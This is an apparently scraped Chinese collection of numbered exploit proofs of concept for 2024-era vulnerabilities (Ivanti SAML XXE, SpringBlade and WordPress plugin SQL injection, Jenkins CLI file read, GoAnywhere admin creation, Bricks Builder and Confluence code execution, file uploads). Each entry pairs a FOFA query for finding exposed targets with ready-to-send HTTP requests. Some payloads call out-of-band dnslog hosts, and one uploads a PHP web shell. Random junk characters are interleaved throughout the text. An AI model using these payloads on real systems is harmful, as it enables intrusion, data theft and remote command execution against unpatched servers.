3 R  o4 Y5 H+ U3 ?4 MFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
! x4 A9 ]6 z) [Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

0 u. }$ D1 U& f6 ~" |+ _SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
8 s" x; O2 @6 |, [) |) p
! |# \* C! T2 A1 L! U
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

8 ?8 u' V" m( J( M$ x& j5 q4 I
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
) G; f8 r6 ~( y4 e4 ~0 ^/ f7 ^Host:192.168.0.1
Content-Length:41
" w! F' X, d" q% Q  AAccept:application/json,text/javascript，*/*;q=0.01
' }: D) p: d7 \! n# ]8 ^" HX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
, F; j/ G$ ?5 m' _5 ?* NContent-Type: application/x-www-form-urlencoded:charset=UTF-8
) T" c; r2 M, S& uOrigin: http://192.168.0.1
; v; n8 Y1 z; g) t6 C) V/ wReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
2 S8 M& b6 i# e7 c4 V5 b8 l1 V( OConnection:close

3 F: ]$ f  L! {: k/ T* N{
"topicurl":"getSysStatusCfg",
, ^5 e  t$ y  t"token":""
: o7 T; C# ]2 u! H}
( \5 X8 n1 o7 o+ o7 R3 U# H) R
6 W& f7 M: E+ w4 w" Z: ?9 _# G, H105. SpringBlade v3.2.0 export-user SQL 注入
$ W) g# @9 o2 ZFOFA：body="https://bladex.vip"
/ f. Z, |6 d- K6 H  j* bhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
" M* ]: ?( S! o9 M% y6 g
4 N, H% ^( U  F/ S' H+ v; b+ {106. SpringBlade dict-biz/list SQL 注入
- n& s$ R7 }- n  Y4 b' c2 v# \FOFA：body="Saber 将不能正常工作"
- j* v; [" K) f- q5 f5 K3 NGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
8 |$ q8 I4 d4 ]# O" _# j4 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 y' e1 d  l2 l. @Connection: close

  p" ?+ P2 [2 w# D
107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
% A# l; J& J: f7 l; d. W, hGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
; j% n* E3 V/ {7 A3 {8 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
5 I% _0 A6 U& d& ~7 K3 y8 yConnection: close


108. D-Tale 3.9.0 SSRF
% H4 C4 ~" p: GCVE-2024-21642
FOFA："dtale/static/images/favicon.png"
$ z) a: ]. P) E+ oGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
9 j) c" A  U1 c, EAccept: application/json, text/plain, */*
4 D* @; P+ v8 G' L" jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
) n: Z( I5 S) T+ X9 Q( B' ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
5 L, M( E: R; O9 q

109. Jenkins CLI 任意文件读取
3 U( l7 |. a5 x, gCVE-2024-23897
FOFA：header="X-Jenkins"
% z- q; e7 [# S* M! Q, m6 h" ]POST /cli?remoting=false HTTP/1.1
Host:
" n7 v3 y9 v+ \4 c# ^Content-type: application/octet-stream
/ E0 ?" K4 {6 B! h9 e  PSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
9 d7 K- f) p/ qSide: upload
Connection: keep-alive
# l: q/ \8 o& SContent-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

3 Q, J% T. _& j9 V2 C4 |: h5 W  j
POST /cli?remoting=false HTTP/1.1
7 J3 t* m( f) T/ L7 K8 _Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
8 r' G6 a7 n. d, D. |, E4 |! `download
2 G8 f2 B  Q# q# wContent-Type: application/x-www-form-urlencoded
+ _  y4 o& _) @$ i3 f; P/ N8 wContent-Length: 0
8 K# c* n/ ~, O! g' v

9 s8 N& H0 x8 Q; _: d  E; j( `ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
! M/ f3 x+ F, }' X3 njava -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
! [7 T' s3 j6 e' T! x6 P3 T

# u! Q: u1 y5 z$ I5 t0 P110. Goanywhere MFT 未授权创建管理员
! G! ?8 n4 x+ \" {1 eCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
0 i6 C1 _" s7 Z  x! V- {, jGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
  t. }7 |: N: S& R$ C, f2 M! S# R# gConnection: close
Accept: */*
7 V  Q2 L( _1 P& k( sAccept-Language: en
Accept-Encoding: gzip
; l; p+ ^) @( q* \# ~  T+ W

2 Z/ S1 u; P0 s& s; {% z- e0 R1 u1 A111. WordPress Plugin HTML5 Video Player SQL注入
7 q% [, u/ L4 s0 ]CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
+ M& I6 U8 `$ C2 L! F/ gGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
; C' z4 l/ I3 C: k3 R; P/ }- _Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
3 v7 @$ G+ I9 ~: t% \. eConnection: close
3 T' B2 j7 t: W) \# BAccept: */*
5 X( k" x9 ~1 g; B7 qAccept-Language: en
Accept-Encoding: gzip
2 B- r5 `: v; V1 Y2 J
  n. S2 a, }' K/ W- Y
112. WordPress Plugin NotificationX SQL 注入
9 A$ c$ K4 u: k, b/ w/ LCVE-2024-1698
: N; Z& y* ]+ P5 g) X; y- D1 [FOFA：body="/wp-content/plugins/notificationx"
; M: {3 L# a- m" CPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
$ E. }* h( z: [* _Content-Type: application/json
9 X  Z) t* }, l- G  w6 m
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
9 \. d0 A, I! Q  {' DCVE-2024-27954
4 x* n) F6 K, b+ kFOFA："/wp-content/plugins/wp-automatic"
! s$ |5 ?) Q6 X1 B" L" ~4 YGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
* Q* |$ `- V" D# q0 [Connection: close
# x: O  d# C9 ]: ZAccept: */*
Accept-Language: en
) h$ z* d2 N5 _3 h! C. YAccept-Encoding: gzip
: k/ B2 g5 r; s2 B% v

5 r1 A' }' U3 i114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
( G! `: `; ^. x$ x) c& z1 CUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
7 U7 }- i3 d# t1 FAccept-Charset: utf-8
& ?: j8 D- d2 g! R5 hAccept-Encoding: gzip, deflate
Connection: close


" m* }% Z1 R2 q115. WordPress Bricks Builder <= 1.9.6 RCE
2 l8 o2 L: l( q' sCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
4 t! ?! g! j1 o9 |/ P* G) }- G: ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
! U/ s$ n, Y; f2 a- O% Y9 o6 yAccept-Encoding: gzip
: N. v, U2 L' T& Y/ G1 ]; H, R* Z! N- P
4 R2 E6 f4 r- S# \9 i# T' F
第二步替换nonce值，执行命令
# N: A; @# m* X) T4 ]" NPOST /wp-json/bricks/v1/render_element HTTP/1.1
. p$ F- n* Q9 N' b0 a( kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
; O: ]. `( ?/ N- ?6 A2 a1 \Content-Length: 356
Content-Type: application/json
5 Y% _% ~8 F2 Z# vAccept-Encoding: gzip

{
7 r( M, Q" j! r! p"postId": "1",
* N6 g1 {0 Y! X6 \! M, E  "nonce": "第一步获得的值",
2 n$ f% Z5 G5 z! s  "element": {
+ t$ x* a2 h/ K+ _    "name": "container",
- a3 B1 ?& m5 i* ]" z" p" ^    "settings": {
* {2 C8 r3 {# ^$ K: d      "hasLoop": "true",
/ i7 U; x4 K0 U" i! H6 h      "query": {
" v' R- M9 D" i" ?        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
4 s, Y) ?' v  D9 Q: R        "objectType": "post"
      }
3 A: r8 M! d( Q' t9 Y    }
# W/ M8 e" q' I) {: E  }
+ L4 l: [+ p2 j2 w2 A$ K& H}
+ S6 T: V7 {# E4 ~6 N# u" `
/ s( t5 A7 v! K9 P1 o
116. wordpress js-support-ticket文件上传
! T5 Q0 l% b: Q6 S, H  b& c' T% m8 o+ DFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
. Y- l1 Y( y8 d3 SHost:
Content-Type: multipart/form-data; boundary=--------767099171
. W7 l+ f: g4 T3 [. e8 I% BUser-Agent: Mozilla/5.0

2 d7 t& m$ r1 \8 m----------767099171
9 V; g: A& l5 r. V( ~Content-Disposition: form-data; name="action"
" Q) P7 B, J2 i4 ~( e  R% hconfiguration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
2 ^- _9 e& }& E, K% h; ^/ p3 bjssupportticket
----------767099171
: d4 D) N) y# PContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
) N8 `. u7 k  O# J----------767099171--
' n5 v7 d& o- M$ `( |
2 I( Y2 p3 B! q$ C! Y
117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
1 e5 p6 g, |- lGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
1 E1 r, W+ A0 s5 f* D1 @Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
% K) Q8 f6 _! V% [4 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- v# j5 P6 n8 p( |' H- S! iAccept-Encoding: gzip, deflate, br
Connection: close
" K7 P! n$ \- BUpgrade-Insecure-Requests: 1
: B$ I6 I& f4 C5 b! s
  f' ^: b0 P: `& \& l
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
) u+ G; T/ q1 Y; ]/ |CVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
" u3 X, ]2 z' _1 l6 |9 n5 U: RHost: 192.168.40.130:8443
) `* @2 h- ?" ^Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
  c) X8 V7 O  Z6 U) N% hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
+ P& n- G2 P% `$ `5 `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ Q, F$ n/ q( y4 _6 ^, ZAccept-Encoding: gzip, deflate
+ a! C$ l+ J" o$ Q, lContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
3 p' n( X( \+ m4 z  X# I% z% y1 |Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
/ u! f6 p& Y+ CUpgrade-Insecure-Requests: 1
6 |: ~# H+ _" i) T' n4 A" v7 `  iSec-Fetch-Dest: document
* a* F! b) h$ e# S9 I6 u* OSec-Fetch-Mode: navigate
# B2 l" T, f, Z0 a, j: N* s$ ASec-Fetch-Site: same-origin
8 D) G& c6 T) Z" lSec-Fetch-User: ?1
& ]  @2 G) \7 s" w3 b8 e6 }Te: trailers
4 M( Q7 I1 s$ ], ?/ D' QConnection: close

-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
  @; Z% |. d$ E6 W0 kContent-Type: application/octet-stream

<?php
  g8 J" q, j+ V3 i3 v" Isystem($_POST["passwd"]);
+ f- m; B" q6 q7 G. {, m" V+ ??>
9 `" Z) S+ y6 g7 ~-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
# q( K7 D1 ~9 ~/ ~, C/ x# J+ E
/home/src.php
/ T5 M  B% K6 b: |0 l-----------------------------13979701222747646634037182887--
5 G; M% j* U5 V8 g6 x8 Y

访问/home/src.php

/ J' w0 @; B, C) H  Q4 i9 k119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
2 `6 ]) |! U5 G) m# ZFOFA：title="Smart管理平台"
9 h5 v! A* Y/ u1 E先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
& B% @. M- G% x6 _7 {: `Host: x.x.x.x
( J# f3 ?& [8 z8 j1 b0 y) g7 WCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
5 R& E+ ^2 |) w5 yAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
4 w7 \: O  H  t: h3 P  u+ a6 QOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
7 B2 n3 Z4 w$ I* ]Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
. X' Z- E# A% R1 r+ i2 t+ ~X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
8 R- e0 }( |* E; M2 g! ^1 AX-Remote-Ip: 1.1.1.1
( E: j6 L) q* c" \X-Remote-Addr: 1.1.1.1
% v; l/ N- I# KTe: trailers
$ O0 u: v2 ]* v  x2 a4 \- iConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


2 J' _6 ?+ m+ G) l120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
9 S, @, n/ G- w2 ^; m5 W+ a0 @FOFA：title="Smart管理平台"
) u1 p* E4 h* k, S( a2 kPOST /useratte/web.php? HTTP/1.1
Host: ip:port
+ f3 M5 ?" ^, ]5 gCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
/ U) T5 R1 j4 B1 f& X* i  _! NUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* @. M3 C1 q$ ~: s4 m) r; ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" `3 |: q7 W! K- h, @# n5 MAccept-Encoding: gzip, deflate
" m2 O* Q5 f- u" H" f* ?/ R% N( wContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
" Z* A  I7 u7 K0 mContent-Length: 597
Origin: https://ip:port
- N# q. g) X' }2 G' _. X3 cReferer: https://ip:port/sysmanage/licence.php
, d/ \, |2 O" n' C3 R* Z# @Upgrade-Insecure-Requests: 1
5 O3 ]% r- r/ y+ A+ A% Y8 eSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
5 C* G; Q* j, g, g* K' n2 `Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
9 ~  ]# ]: ]7 N. V' v6 P/ B7 VTe: trailers
Connection: close
3 _" N5 A9 G6 \. \, f% c' C
9 [: h$ V. t# I% h# Z' T7 A-----------------------------42328904123665875270630079328
* }. y0 x; C* E" CContent-Disposition: form-data; name="file_upload"; filename="2.php"
' N  T" w* _# B) B# uContent-Type: application/octet-stream

6 \* `+ @# n9 u. T<?php phpinfo()?>
) s1 G" S5 X4 a( b" k, c9 B-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
/ R, U- x0 v3 S6 |
1
( J8 \: k2 p( {; d* V-----------------------------42328904123665875270630079328
; b7 M- z3 @% u6 ~$ iContent-Disposition: form-data; name="1_ck"

1_radhttp
6 Z3 e6 o  q4 k-----------------------------42328904123665875270630079328
0 @" a; r- Q0 yContent-Disposition: form-data; name="mode"
: h5 w; j7 Z( j* I3 J# D4 m7 l: [7 C) Q
import
& V; W7 H+ o3 v# s3 [-----------------------------42328904123665875270630079328
* _: n' l& E" T; v% d( s& S

% K( n* r$ G& y: c, @$ V$ a文件路径/upload/2.php

% g5 Z' w! T7 x0 u  ~121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
7 T9 s& U4 y2 V' _1 k4 \* PUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
! ]- |2 `4 j2 \* t9 T: DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( x; X4 B# U/ Q: vAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
& ~% r# W% W3 D; DContent-Length: 592
# h! ?8 ~# R0 z5 r; eOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
( s% m% ^# ]1 c% O( ~Sec-Fetch-Mode: navigate
0 F) Y' @0 W& d8 \, q& b; eSec-Fetch-Site: same-origin
1 r% d9 ^  Z  J! h- YSec-Fetch-User: ?1
& z8 m9 g/ I3 S. m6 BTe: trailers
, W1 _3 j7 a9 zConnection: close
. h' J1 s- M, K5 ?8 j0 S
0 `3 q. E4 ?6 f-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
, ]! \' ?! z2 I# R8 EContent-Type: application/octet-stream

<?php phpinfo();?>
% ^) ~8 o4 J: _-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
( S( C7 t( _5 ?" h0 B4 r& z, |" C
$ Q/ K( g3 L2 D% t1
. |; w+ Z; F1 e. O7 R6 i-----------------------------42328904123665875270630079328
5 g8 v: E$ E# D! ?1 AContent-Disposition: form-data; name="1_ck"
* U. f" {+ b% N
1_radhttp
-----------------------------42328904123665875270630079328
* R4 a0 T, n  ]7 q% L8 yContent-Disposition: form-data; name="hidwel"

set
' ]0 o, d) \! _5 U-----------------------------42328904123665875270630079328
' |, K0 ^2 Q; ?5 x5 N

boot/web/upload/weblogo/1.php
- g) k8 s" W" M: b0 _" v
122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
! v$ G" m+ I+ V8 B, d& o% N: zHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
9 s/ R+ z' W) X+ g3 BUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
$ e7 F2 ]4 c9 ~, Q' `& USec-Fetch-Mode: navigate
! ]1 ~* N# g) zSec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
& ^- \& V& \8 |- r" `, [Connection: close
! H9 B; y+ L8 a
2 T0 G1 s: @# ?9 D/ e' [- u
123. Atlassian Confluence 模板注入代码执行
6 `3 P# ]+ C% P1 y2 IFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
- z; f% N* A$ d& o0 l8 _$ UHost: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
  L/ G- P. E* _Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


124. 湖南建研工程质量检测系统任意文件上传
# b$ M; U9 \( GFOFA：body="/Content/Theme/Standard/webSite/login.css"
3 V( Z2 ^( Q1 X1 J7 j0 ~POST /Scripts/admintool?type=updatefile HTTP/1.1
$ d$ N# N2 m6 X5 g2 l5 LHost: 192.168.40.130:8282
2 |# [: f) L+ A3 z9 g1 zUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
. ^7 t3 J8 G/ L$ P5 j+ {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
. X4 J1 w4 E5 H8 ?# t& u6 }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" Q2 y% f6 ]. w0 g' j% K! p- gConnection: close
& j+ X; D; P2 E* s) f% U4 ?Content-Type: application/x-www-form-urlencoded
) \3 Z9 B4 g& `) ?, Q( J& X6 Q
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
( j4 H) u* z+ N' `# a

3 n/ s7 L3 {! x) O1 e, yhttp://192.168.40.130:8282/Scripts/abcgcg.aspx

4 O" [1 d3 k  R; A' n125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
2 M! B/ Y) c! ^$ j0 Fhttps://github.com/watchtowrlabs ... bypass-add-user-poc
3 Z$ T; r- a# ]

使用方法
$ w- N7 }' v; @' q3 Rpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

. U; Y% r  t6 U$ p
创建好用户后直接登录后台，可以执行系统命令。

, l1 r9 w& I/ V- E& B/ X; Y126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
/ W5 I- t7 W1 J2 `# x' eGET /static/../../../../../etc/passwd HTTP/1.1
5 Z) S! K6 X1 A; u5 THost: x.x.x.x
; I. B# A6 p) V5 A% a* m. R+ NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
* ?6 E" E3 w" z# O9 I( m% }6 e3 {( |Accept: */*
Accept-Language: en
Accept-Encoding: gzip
: g- a* `2 a$ l; F
% V! a' Y8 ]( n& p; J
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
! S4 [8 P: R3 B/ u" c$ UHost: 192.168.40.130:8888
6 y4 v' e$ q3 j$ ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" w6 o( h) n4 R' E) }% u  CAccept-Encoding: gzip, deflate
' ~' [  z9 h8 E: _$ R5 zAccept-Language: zh-CN,zh;q=0.9
/ a! h. t1 S8 BConnection: close
5 B: k" X, g; u/ e$ e  r2 `& e; e4 LContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
  p- a# _9 f4 a' ]Sec-Purpose: prefetch;prerender

' Y% e( b6 E; s- x- H------WebKitFormBoundaryJGgV5l5ta05yAIe0
4 e+ r2 O, N8 BContent-Disposition: form-data;name="SystemName"
7 Z" V( J0 v5 y4 c5 C
' ?( ?) U$ ~  i5 bBIM
. P2 s2 t" ]9 I5 w9 {( X: u------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
" @  |& a# w" ~  |) S& A) oContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
0 [" g6 o' Z) _! A+ P# t$ t]
>
<test>&t;</test>
